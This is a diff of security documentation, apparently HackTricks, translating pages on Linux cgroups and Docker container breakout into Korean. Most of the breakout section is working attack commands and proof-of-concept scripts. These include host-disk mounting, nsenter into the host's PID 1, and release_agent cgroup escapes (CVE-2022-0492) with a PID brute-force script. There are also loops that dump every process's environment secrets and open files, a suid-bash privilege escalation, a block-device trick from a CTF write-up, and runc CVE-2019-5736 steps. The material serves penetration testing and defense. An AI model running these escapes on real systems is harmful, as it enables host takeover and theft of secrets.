포함합니다. ![Cgroup Procs](<../../../images/image (281).png>) -Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. +셸을 관리하는 cgroups는 일반적으로 메모리 사용량과 프로세스 수를 조절하는 두 개의 컨트롤러를 포함합니다. 컨트롤러와 상호작용하려면 컨트롤러의 접두사가 붙은 파일을 참조해야 합니다. 예를 들어, **pids.current**를 참조하여 cgroup 내의 스레드 수를 확인할 수 있습니다. ![Cgroup Memory](<../../../images/image (677).png>) -The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. +값에 **max**가 표시되면 cgroup에 대한 특정 제한이 없음을 나타냅니다. 그러나 cgroups의 계층적 특성으로 인해 디렉토리 계층의 하위 수준에 있는 cgroup에서 제한이 부과될 수 있습니다. -### Manipulating and Creating cgroups - -Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process: +### cgroups 조작 및 생성 +프로세스는 **`cgroup.procs` 파일에 프로세스 ID (PID)를 작성하여** cgroups에 할당됩니다. 이는 루트 권한이 필요합니다. 예를 들어, 프로세스를 추가하려면: ```bash echo [pid] > cgroup.procs ``` - -Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup: - +유사하게, **PID 제한을 설정하는 것과 같은 cgroup 속성을 수정하는** 것은 원하는 값을 관련 파일에 작성함으로써 수행됩니다. cgroup에 대해 최대 3,000개의 PID를 설정하려면: ```bash echo 3000 > pids.max ``` +**새 cgroup 생성**은 cgroup 계층 내에 새로운 하위 디렉토리를 만드는 것을 포함하며, 이는 커널이 필요한 인터페이스 파일을 자동으로 생성하도록 유도합니다. 활성 프로세스가 없는 cgroup은 `rmdir`로 제거할 수 있지만, 특정 제약 사항을 인지해야 합니다: -**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - -- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). -- **A cgroup cannot possess a controller absent in its parent**. -- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup: - +- **프로세스는 리프 cgroup에만 배치될 수 있습니다** (즉, 계층에서 가장 중첩된 것들). +- **cgroup은 부모에 없는 컨트롤러를 가질 수 없습니다**. +- **자식 cgroup의 컨트롤러는 `cgroup.subtree_control` 파일에 명시적으로 선언되어야 합니다**. 예를 들어, 자식 cgroup에서 CPU 및 PID 컨트롤러를 활성화하려면: ```bash echo "+cpu +pids" > cgroup.subtree_control ``` +**루트 cgroup**은 이러한 규칙의 예외로, 직접 프로세스를 배치할 수 있습니다. 이는 systemd 관리에서 프로세스를 제거하는 데 사용될 수 있습니다. -The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. +**cgroup 내에서 CPU 사용량 모니터링**은 `cpu.stat` 파일을 통해 가능하며, 총 CPU 시간 소비를 표시하여 서비스의 하위 프로세스에서 사용량을 추적하는 데 유용합니다: -**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: +

cpu.stat 파일에 표시된 CPU 사용 통계

-

CPU usage statistics as shown in the cpu.stat file

+## 참고문헌 -## References - -- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** +- **책: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index e19fddb22..647228cba 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,35 +2,24 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+## 자동 열거 및 탈출 -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): 컨테이너를 **열거할 수 있습니다** +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 이 도구는 당신이 있는 컨테이너를 **열거하고 자동으로 탈출을 시도하는 데 유용합니다** +- [**amicontained**](https://github.com/genuinetools/amicontained): 탈출 방법을 찾기 위해 컨테이너가 가진 권한을 얻는 데 유용한 도구 +- [**deepce**](https://github.com/stealthcopter/deepce): 컨테이너에서 열거하고 탈출하는 도구 +- [**grype**](https://github.com/anchore/grype): 이미지에 설치된 소프트웨어에 포함된 CVE를 가져옵니다 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## Automatic Enumeration & Escape - -- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -- [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image - -## Mounted Docker Socket Escape - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. +## 마운트된 Docker 소켓 탈출 +어떤 방법으로든 **docker 소켓이** 도커 컨테이너 내부에 마운트되어 있다면, 당신은 그곳에서 탈출할 수 있습니다.\ +이는 일반적으로 어떤 이유로 도커 데몬에 연결하여 작업을 수행해야 하는 도커 컨테이너에서 발생합니다. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +이 경우 일반적인 docker 명령어를 사용하여 docker 데몬과 통신할 수 있습니다: ```bash #List images to use one docker images @@ -44,14 +33,13 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` +> [!NOTE] +> **docker 소켓이 예상치 못한 위치에 있는 경우**에도 **`docker`** 명령어와 매개변수 **`-H unix:///path/to/docker.sock`**를 사용하여 여전히 통신할 수 있습니다. + +Docker 데몬은 또한 [포트에서 수신 대기할 수 있습니다 (기본값 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) 또는 Systemd 기반 시스템에서는 Systemd 소켓 `fd://`를 통해 Docker 데몬과 통신할 수 있습니다. > [!NOTE] -> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** - -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. - -> [!NOTE] -> Additionally, pay attention to the runtime sockets of other high-level runtimes: +> 추가로, 다른 고급 런타임의 런타임 소켓에 주의하십시오: > > - dockershim: `unix:///var/run/dockershim.sock` > - containerd: `unix:///run/containerd/containerd.sock` @@ -62,23 +50,21 @@ Docker daemon might be also [listening in a port (by default 2375, 2376)](../../ ## Capabilities Abuse Escape -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +컨테이너의 권한을 확인해야 하며, 다음 중 하나라도 있다면 탈출할 수 있을 것입니다: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +현재 컨테이너 권한을 확인하려면 **앞서 언급한 자동 도구**를 사용하거나: ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +다음 페이지에서 **리눅스 기능에 대해 더 알아보고** 이를 악용하여 권한을 탈출/상승시키는 방법을 배울 수 있습니다: {{#ref}} ../../linux-capabilities.md {{#endref}} -## Escape from Privileged Containers +## 특권 컨테이너에서 탈출 -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +특권 컨테이너는 `--privileged` 플래그를 사용하거나 특정 방어 기능을 비활성화하여 생성할 수 있습니다: - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling - `--cgroupns=host` - `Mount /dev` -The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts. +`--privileged` 플래그는 컨테이너 보안을 크게 낮추며, **제한 없는 장치 접근**을 제공하고 **여러 보호 기능**을 우회합니다. `--privileged`의 전체 영향에 대한 자세한 내용은 문서를 참조하십시오. {{#ref}} ../docker-privileged.md {{#endref}} -### Privileged + hostPID +### 특권 + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +이 권한으로 **루트로 호스트에서 실행 중인 프로세스의 네임스페이스로 이동**할 수 있습니다. 예를 들어 init (pid:1)로 이동하려면 다음을 실행하십시오: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +컨테이너에서 다음을 실행하여 테스트하십시오: ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` - ### Privileged -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**. - -Test the following bypasses in a container executing: +특권 플래그만으로도 **호스트의 디스크에 접근**하거나 **release_agent 또는 다른 탈출을 악용하여 탈출**을 시도할 수 있습니다. +다음 우회 방법을 컨테이너에서 실행하여 테스트하십시오: ```bash docker run --rm -it --privileged ubuntu bash ``` +#### 디스크 마운트 - Poc1 -#### Mounting Disk - Poc1 - -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +잘 구성된 도커 컨테이너는 **fdisk -l**과 같은 명령을 허용하지 않습니다. 그러나 `--privileged` 또는 `--device=/dev/sda1` 플래그가 지정된 잘못 구성된 도커 명령에서는 호스트 드라이브를 볼 수 있는 권한을 얻는 것이 가능합니다. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +따라서 호스트 머신을 장악하는 것은 사소한 일입니다: ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +그리고 voilà! 이제 `/mnt/hola` 폴더에 마운트되어 있기 때문에 호스트의 파일 시스템에 접근할 수 있습니다. -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### 디스크 마운트 - Poc2 +컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기본 호스트 OS에 대한 추가 접근을 시도할 수 있습니다. 아래는 이 공격 벡터를 활용할 수 있는지 확인하기 위해 컨테이너 내에서 확인할 수 있는 몇 가지 일반적인 사항입니다: ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` - -#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - +#### 권한 상승 기존 release_agent 악용 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` - #### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - -Find an **explanation of the technique** in: +다음은 기술에 대한 **설명**입니다: {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} -#### Privileged Escape Abusing release_agent without known the relative path - PoC3 +#### 권한 상승: 상대 경로를 모르는 release_agent 악용 - PoC3 -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: +이전의 익스플로잇에서는 **호스트 파일 시스템 내의 컨테이너의 절대 경로가 공개됩니다**. 그러나 항상 그런 것은 아닙니다. 호스트 내의 컨테이너의 **절대 경로를 모르는 경우** 이 기술을 사용할 수 있습니다: {{#ref}} release_agent-exploit-relative-paths-to-pids.md {{#endref}} - ```bash #!/bin/sh @@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -309,9 +282,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +특권 컨테이너 내에서 PoC를 실행하면 다음과 유사한 출력이 제공되어야 합니다: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +#### 권한 상승 민감한 마운트 악용 -#### Privileged Escape Abusing Sensitive Mounts +마운트될 수 있는 여러 파일이 있으며, 이 파일들은 **기본 호스트에 대한 정보를 제공**할 수 있습니다. 이 중 일부는 **호스트에서 무언가가 발생할 때 실행될 수 있는 무언가를 나타낼 수 있습니다** (이는 공격자가 컨테이너에서 탈출할 수 있게 합니다).\ +이 파일들의 악용은 다음을 허용할 수 있습니다: -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: - -- release_agent (already covered before) +- release_agent (이미 다루어졌음) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +그러나 이 페이지에서 확인할 수 있는 **다른 민감한 파일**을 찾을 수 있습니다: {{#ref}} sensitive-mounts.md {{#endref}} -### Arbitrary Mounts - -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys… +### 임의 마운트 +여러 경우에 **컨테이너가 호스트에서 일부 볼륨을 마운트하고 있는 것을 발견할 수 있습니다**. 이 볼륨이 올바르게 구성되지 않았다면 **민감한 데이터에 접근/수정할 수 있을지도 모릅니다**: 비밀 읽기, ssh authorized_keys 변경… ```bash docker run --rm -it -v /:/host ubuntu bash ``` - ### Privilege Escalation with 2 shells and host mount -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +컨테이너 내에서 **root로 접근**할 수 있고 호스트에서 **비특권 사용자로 탈출**하여 마운트된 폴더에 대한 읽기 권한이 있는 경우, \ +컨테이너 내의 **마운트된 폴더**에 **bash suid 파일**을 생성하고 **호스트에서 실행**하여 권한 상승을 할 수 있습니다. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` - ### Privilege Escalation with 2 shells -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. +컨테이너 내에서 **root로 접근**할 수 있고 **비특권 사용자로 호스트에 탈출**했다면, 컨테이너 내에서 MKNOD 권한이 있는 경우(기본적으로 있음) 두 개의 셸을 악용하여 **호스트 내에서 privesc**를 수행할 수 있습니다. [**이 포스트에서 설명된 대로**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +이러한 권한을 통해 컨테이너 내의 root 사용자는 **블록 장치 파일을 생성**할 수 있습니다. 장치 파일은 **기본 하드웨어 및 커널 모듈에 접근하기 위해 사용되는 특수 파일**입니다. 예를 들어, /dev/sda 블록 장치 파일은 **시스템 디스크의 원시 데이터를 읽는** 접근을 제공합니다. -Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Docker는 cgroup 정책을 시행하여 컨테이너 내에서 블록 장치 오용을 방지합니다. 이 정책은 **블록 장치 읽기/쓰기 작업을 차단**합니다. 그럼에도 불구하고, 블록 장치가 **컨테이너 내에서 생성되면**, **/proc/PID/root/** 디렉토리를 통해 컨테이너 외부에서 접근할 수 있게 됩니다. 이 접근은 **프로세스 소유자가 컨테이너 내부와 외부에서 동일해야** 합니다. +**Exploitation** 예시는 이 [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)에서 확인할 수 있습니다: ```bash # On the container as root cd / @@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +호스트의 프로세스에 접근할 수 있다면, 해당 프로세스에 저장된 많은 민감한 정보에 접근할 수 있게 됩니다. 테스트 랩을 실행하세요: ``` docker run --rm -it --pid=host ubuntu bash ``` +예를 들어, `ps auxn`과 같은 명령어를 사용하여 프로세스를 나열하고 명령어에서 민감한 세부정보를 검색할 수 있습니다. -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +그런 다음, **/proc/에서 호스트의 각 프로세스에 접근할 수 있으므로 env 비밀을 훔칠 수 있습니다** 다음을 실행하여: ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +다른 프로세스의 파일 디스크립터에 **접근하고 열린 파일을 읽을 수 있습니다**: ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +당신은 또한 **프로세스를 종료하고 DoS를 유발할 수 있습니다**. > [!WARNING] -> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +> 만약 당신이 **컨테이너 외부의 프로세스에 대한 권한 있는 접근을 somehow 가지게 된다면**, `nsenter --target --all` 또는 `nsenter --target --mount --net --pid --cgroup`와 같은 명령을 실행하여 **해당 프로세스와 동일한 ns 제한**(바라건대 없음) **으로 셸을 실행할 수 있습니다.** ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +컨테이너가 Docker [호스트 네트워킹 드라이버 (`--network=host`)](https://docs.docker.com/network/host/)로 구성된 경우, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않으며(컨테이너는 호스트의 네트워킹 네임스페이스를 공유함), 컨테이너는 자체 IP 주소를 할당받지 않습니다. 다시 말해, **컨테이너는 모든 서비스를 호스트의 IP에 직접 바인딩**합니다. 게다가 컨테이너는 **호스트가 공유 인터페이스 `tcpdump -i eth0`에서 송수신하는 모든 네트워크 트래픽을 가로챌 수 있습니다**. -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +예를 들어, 이를 사용하여 **호스트와 메타데이터 인스턴스 간의 트래픽을 스니핑하고 심지어 스푸핑**할 수 있습니다. -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. - -Like in the following examples: +다음 예제와 같이: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access). +또한 호스트 내부의 **로컬호스트에 바인딩된 네트워크 서비스**에 접근하거나 **노드의 메타데이터 권한**에 접근할 수 있습니다(이는 컨테이너가 접근할 수 있는 것과 다를 수 있습니다). ### hostIPC - ```bash docker run --rm -it --ipc=host ubuntu bash ``` +`hostIPC=true`를 사용하면 호스트의 프로세스 간 통신(IPC) 리소스에 접근할 수 있습니다. 예를 들어, `/dev/shm`의 **공유 메모리**와 같은 리소스입니다. 이는 다른 호스트 또는 포드 프로세스에서 동일한 IPC 리소스를 사용하여 읽기/쓰기가 가능하게 합니다. 이러한 IPC 메커니즘을 더 자세히 검사하려면 `ipcs`를 사용하세요. -With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further. +- **/dev/shm 검사** - 이 공유 메모리 위치에서 파일을 찾아보세요: `ls -la /dev/shm` +- **기존 IPC 시설 검사** – `/usr/bin/ipcs`를 사용하여 어떤 IPC 시설이 사용되고 있는지 확인할 수 있습니다. 다음과 같이 확인하세요: `ipcs -a` -- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### 권한 복구 +시스템 호출 **`unshare`**가 금지되지 않은 경우, 다음을 실행하여 모든 권한을 복구할 수 있습니다: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### 사용자 네임스페이스 악용을 통한 심볼릭 링크 -### User namespace abuse via symlink +게시물 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)에서 설명된 두 번째 기술은 사용자 네임스페이스와 함께 바인드 마운트를 악용하여 호스트 내부의 파일에 영향을 미치는 방법을 나타냅니다(특정 경우에는 파일 삭제). -The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). +## CVE -
+### Runc 취약점 (CVE-2019-5736) -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +`docker exec`를 루트로 실행할 수 있는 경우(아마도 sudo를 사용하여), CVE-2019-5736을 악용하여 컨테이너에서 탈출하여 권한 상승을 시도합니다(취약점 [여기](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). 이 기술은 기본적으로 **컨테이너에서 호스트의 _**/bin/sh**_ 바이너리를 **덮어씁니다**, 따라서 docker exec를 실행하는 모든 사용자가 페이로드를 트리거할 수 있습니다. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## CVEs - -### Runc exploit (CVE-2019-5736) - -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. - -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +페이로드를 적절히 변경하고 `go build main.go`로 main.go를 빌드합니다. 결과 바이너리는 실행을 위해 도커 컨테이너에 배치되어야 합니다.\ +실행 시 `[+] Overwritten /bin/sh successfully`가 표시되면 호스트 머신에서 다음을 실행해야 합니다: `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +이것은 main.go 파일에 있는 페이로드를 트리거합니다. -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +자세한 정보는: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) > [!NOTE] -> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +> 컨테이너가 취약할 수 있는 다른 CVE도 있으며, [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)에서 목록을 찾을 수 있습니다. -## Docker Custom Escape +## 도커 사용자 정의 탈출 -### Docker Escape Surface +### 도커 탈출 표면 -- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -- **Root user**: By default the user running the process is the root user (however its privileges are limited). -- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +- **네임스페이스:** 프로세스는 네임스페이스를 통해 **다른 프로세스와 완전히 분리되어야** 하므로, 네임스페이스로 인해 다른 프로세스와 상호작용하여 탈출할 수 없습니다(기본적으로 